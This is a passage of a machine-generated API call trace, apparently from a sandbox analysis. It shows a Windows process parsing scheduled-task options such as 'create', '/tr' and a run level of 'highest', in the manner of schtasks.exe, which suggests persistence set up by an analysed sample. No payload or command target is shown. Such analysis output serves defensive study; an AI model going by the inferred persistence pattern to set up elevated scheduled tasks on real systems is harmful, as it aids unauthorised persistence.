lpSrch="|rl|") returned 0x0 [0020.018] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.018] lstrlenW (lpString="sc") returned 2 [0020.018] lstrlenW (lpString="sc") returned 2 [0020.018] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.018] lstrlenW (lpString="rl") returned 2 [0020.018] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.018] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|sc|") returned 4 [0020.019] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.019] lstrlenW (lpString="|sc|") returned 4 [0020.019] lstrlenW (lpString="|rl|") returned 4 [0020.019] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0020.019] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.019] lstrlenW (lpString="mo") returned 2 [0020.019] lstrlenW (lpString="mo") returned 2 [0020.019] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.019] lstrlenW (lpString="rl") returned 2 [0020.019] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.019] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|mo|") returned 4 [0020.019] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.019] lstrlenW (lpString="|mo|") returned 4 [0020.019] lstrlenW (lpString="|rl|") returned 4 [0020.019] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0020.019] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.019] lstrlenW (lpString="d") returned 1 [0020.019] lstrlenW (lpString="d") returned 1 [0020.019] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.019] lstrlenW (lpString="rl") returned 2 [0020.019] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.019] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|d|") returned 3 [0020.019] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.019] lstrlenW (lpString="|d|") returned 3 [0020.019] lstrlenW (lpString="|rl|") returned 4 [0020.019] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.019] lstrlenW (lpString="m") returned 1 [0020.019] lstrlenW (lpString="m") returned 1 [0020.019] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.019] lstrlenW (lpString="rl") returned 2 [0020.019] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.019] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|m|") returned 3 [0020.019] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.019] lstrlenW (lpString="|m|") returned 3 [0020.019] lstrlenW (lpString="|rl|") returned 4 [0020.019] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.019] lstrlenW (lpString="i") returned 1 [0020.019] lstrlenW (lpString="i") returned 1 [0020.019] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.019] lstrlenW (lpString="rl") returned 2 [0020.019] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.019] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|i|") returned 3 [0020.019] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.019] lstrlenW (lpString="|i|") returned 3 [0020.019] lstrlenW (lpString="|rl|") returned 4 [0020.019] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.019] lstrlenW (lpString="tn") returned 2 [0020.019] lstrlenW (lpString="tn") returned 2 [0020.019] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.019] lstrlenW (lpString="rl") returned 2 [0020.019] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.019] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.019] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.019] lstrlenW (lpString="|tn|") returned 4 [0020.019] lstrlenW (lpString="|rl|") returned 4 [0020.019] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0020.019] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.020] lstrlenW (lpString="tr") returned 2 [0020.020] lstrlenW (lpString="tr") returned 2 [0020.020] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.020] lstrlenW (lpString="rl") returned 2 [0020.020] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.020] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.020] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.020] lstrlenW (lpString="|tr|") returned 4 [0020.020] lstrlenW (lpString="|rl|") returned 4 [0020.020] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0020.020] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.020] lstrlenW (lpString="st") returned 2 [0020.020] lstrlenW (lpString="st") returned 2 [0020.020] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.020] lstrlenW (lpString="rl") returned 2 [0020.020] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.020] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|st|") returned 4 [0020.020] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.020] lstrlenW (lpString="|st|") returned 4 [0020.020] lstrlenW (lpString="|rl|") returned 4 [0020.020] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0020.020] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.020] lstrlenW (lpString="sd") returned 2 [0020.020] lstrlenW (lpString="sd") returned 2 [0020.020] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.020] lstrlenW (lpString="rl") returned 2 [0020.020] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.020] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|sd|") returned 4 [0020.020] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.020] lstrlenW (lpString="|sd|") returned 4 [0020.020] lstrlenW (lpString="|rl|") returned 4 [0020.020] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0020.020] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.020] lstrlenW (lpString="ed") returned 2 [0020.020] lstrlenW (lpString="ed") returned 2 [0020.020] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.020] lstrlenW (lpString="rl") returned 2 [0020.020] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.020] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|ed|") returned 4 [0020.020] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.020] lstrlenW (lpString="|ed|") returned 4 [0020.020] lstrlenW (lpString="|rl|") returned 4 [0020.020] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0020.020] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.020] lstrlenW (lpString="it") returned 2 [0020.020] lstrlenW (lpString="it") returned 2 [0020.020] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.020] lstrlenW (lpString="rl") returned 2 [0020.020] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.020] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|it|") returned 4 [0020.020] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.020] lstrlenW (lpString="|it|") returned 4 [0020.020] lstrlenW (lpString="|rl|") returned 4 [0020.020] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0020.020] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.020] lstrlenW (lpString="et") returned 2 [0020.020] lstrlenW (lpString="et") returned 2 [0020.020] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.020] lstrlenW (lpString="rl") returned 2 [0020.021] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.021] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|et|") returned 4 [0020.021] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.021] lstrlenW (lpString="|et|") returned 4 [0020.021] lstrlenW (lpString="|rl|") returned 4 [0020.021] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0020.021] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.021] lstrlenW (lpString="k") returned 1 [0020.021] lstrlenW (lpString="k") returned 1 [0020.021] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.021] lstrlenW (lpString="rl") returned 2 [0020.021] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.021] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|k|") returned 3 [0020.021] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.021] lstrlenW (lpString="|k|") returned 3 [0020.021] lstrlenW (lpString="|rl|") returned 4 [0020.021] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.021] lstrlenW (lpString="du") returned 2 [0020.021] lstrlenW (lpString="du") returned 2 [0020.021] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.021] lstrlenW (lpString="rl") returned 2 [0020.021] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.021] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|du|") returned 4 [0020.021] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.021] lstrlenW (lpString="|du|") returned 4 [0020.021] lstrlenW (lpString="|rl|") returned 4 [0020.021] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0020.021] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.021] lstrlenW (lpString="ri") returned 2 [0020.021] lstrlenW (lpString="ri") returned 2 [0020.021] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.021] lstrlenW (lpString="rl") returned 2 [0020.021] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.021] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|ri|") returned 4 [0020.021] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.021] lstrlenW (lpString="|ri|") returned 4 [0020.021] lstrlenW (lpString="|rl|") returned 4 [0020.021] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0020.021] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.021] lstrlenW (lpString="z") returned 1 [0020.021] lstrlenW (lpString="z") returned 1 [0020.021] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.021] lstrlenW (lpString="rl") returned 2 [0020.021] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.021] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|z|") returned 3 [0020.021] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.021] lstrlenW (lpString="|z|") returned 3 [0020.021] lstrlenW (lpString="|rl|") returned 4 [0020.021] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.021] lstrlenW (lpString="f") returned 1 [0020.021] lstrlenW (lpString="f") returned 1 [0020.021] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.021] lstrlenW (lpString="rl") returned 2 [0020.021] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.021] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|f|") returned 3 [0020.021] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.021] lstrlenW (lpString="|f|") returned 3 [0020.021] lstrlenW (lpString="|rl|") returned 4 [0020.021] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.021] lstrlenW (lpString="v1") returned 2 [0020.021] lstrlenW (lpString="v1") returned 2 [0020.022] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.022] lstrlenW (lpString="rl") returned 2 [0020.022] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.022] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|v1|") returned 4 [0020.022] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.022] lstrlenW (lpString="|v1|") returned 4 [0020.022] lstrlenW (lpString="|rl|") returned 4 [0020.022] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0020.022] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.022] lstrlenW (lpString="xml") returned 3 [0020.022] lstrlenW (lpString="xml") returned 3 [0020.022] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.022] lstrlenW (lpString="rl") returned 2 [0020.022] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.022] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|xml|") returned 5 [0020.022] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.022] lstrlenW (lpString="|xml|") returned 5 [0020.022] lstrlenW (lpString="|rl|") returned 4 [0020.022] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0020.022] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.022] lstrlenW (lpString="ec") returned 2 [0020.022] lstrlenW (lpString="ec") returned 2 [0020.022] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.022] lstrlenW (lpString="rl") returned 2 [0020.022] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.022] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|ec|") returned 4 [0020.022] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.022] lstrlenW (lpString="|ec|") returned 4 [0020.022] lstrlenW (lpString="|rl|") returned 4 [0020.022] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0020.022] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.022] lstrlenW (lpString="rl") returned 2 [0020.022] lstrlenW (lpString="rl") returned 2 [0020.022] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.022] lstrlenW (lpString="rl") returned 2 [0020.022] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.022] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.022] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.022] lstrlenW (lpString="|rl|") returned 4 [0020.022] lstrlenW (lpString="|rl|") returned 4 [0020.022] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0020.022] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.022] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.022] lstrlenW (lpString="highest") returned 7 [0020.022] lstrlenW (lpString="-/") returned 2 [0020.022] StrChrIW (lpStart="-/", wMatch=0x68) returned 0x0 [0020.022] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.022] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.022] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.022] lstrlenW (lpString="highest") returned 7 [0020.022] StrChrIW (lpStart="highest", wMatch=0x3a) returned 0x0 [0020.022] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.022] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.022] _memicmp (_Buf1=0x56c423ebe0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.022] lstrlenW (lpString="highest") returned 7 [0020.022] lstrlenW (lpString="highest") returned 7 [0020.022] lstrlenW (lpString=" \x09") returned 2 [0020.022] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0020.022] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0020.022] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0020.022] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0020.022] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0020.023] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0020.023] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0020.023] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0020.023] GetLastError () returned 0x0 [0020.023] lstrlenW (lpString="highest") returned 7 [0020.023] lstrlenW (lpString="highest") returned 7 [0020.023] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.023] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.023] lstrlenW (lpString="/tr") returned 3 [0020.023] lstrlenW (lpString="-/") returned 2 [0020.023] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0020.023] lstrlenW (lpString="create") returned 6 [0020.023] lstrlenW (lpString="create") returned 6 [0020.023] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.023] lstrlenW (lpString="tr") returned 2 [0020.023] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.023] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|create|") returned 8 [0020.023] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.023] lstrlenW (lpString="|create|") returned 8 [0020.023] lstrlenW (lpString="|tr|") returned 4 [0020.023] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0020.023] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.023] lstrlenW (lpString="?") returned 1 [0020.023] lstrlenW (lpString="?") returned 1 [0020.023] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.023] lstrlenW (lpString="tr") returned 2 [0020.023] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.023] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|?|") returned 3 [0020.023] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.023] lstrlenW (lpString="|?|") returned 3 [0020.023] lstrlenW (lpString="|tr|") returned 4 [0020.023] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.023] lstrlenW (lpString="s") returned 1 [0020.023] lstrlenW (lpString="s") returned 1 [0020.023] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.023] lstrlenW (lpString="tr") returned 2 [0020.023] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.023] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|s|") returned 3 [0020.023] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.023] lstrlenW (lpString="|s|") returned 3 [0020.023] lstrlenW (lpString="|tr|") returned 4 [0020.023] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.023] lstrlenW (lpString="u") returned 1 [0020.023] lstrlenW (lpString="u") returned 1 [0020.023] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.023] lstrlenW (lpString="tr") returned 2 [0020.023] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.023] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|u|") returned 3 [0020.023] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.023] lstrlenW (lpString="|u|") returned 3 [0020.023] lstrlenW (lpString="|tr|") returned 4 [0020.023] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.023] lstrlenW (lpString="p") returned 1 [0020.023] lstrlenW (lpString="p") returned 1 [0020.023] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.023] lstrlenW (lpString="tr") returned 2 [0020.023] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.023] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|p|") returned 3 [0020.024] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.024] lstrlenW (lpString="|p|") returned 3 [0020.024] lstrlenW (lpString="|tr|") returned 4 [0020.024] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.024] lstrlenW (lpString="ru") returned 2 [0020.024] lstrlenW (lpString="ru") returned 2 [0020.024] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.024] lstrlenW (lpString="tr") returned 2 [0020.024] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.024] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|ru|") returned 4 [0020.024] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.024] lstrlenW (lpString="|ru|") returned 4 [0020.024] lstrlenW (lpString="|tr|") returned 4 [0020.024] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0020.024] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.024] lstrlenW (lpString="rp") returned 2 [0020.024] lstrlenW (lpString="rp") returned 2 [0020.024] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.024] lstrlenW (lpString="tr") returned 2 [0020.024] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.024] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rp|") returned 4 [0020.024] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.024] lstrlenW (lpString="|rp|") returned 4 [0020.024] lstrlenW (lpString="|tr|") returned 4 [0020.024] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0020.024] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.024] lstrlenW (lpString="sc") returned 2 [0020.024] lstrlenW (lpString="sc") returned 2 [0020.024] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.024] lstrlenW (lpString="tr") returned 2 [0020.024] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.024] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|sc|") returned 4 [0020.024] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tr|") returned 4 [0020.024] lstrlenW (lpString="|sc|") returned 4 [0020.024] lstrlenW (lpString="|tr|") returned 4 [0020.024] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0020.024] RtlRestoreLastWin32Error () returned 0x7ff66898d000 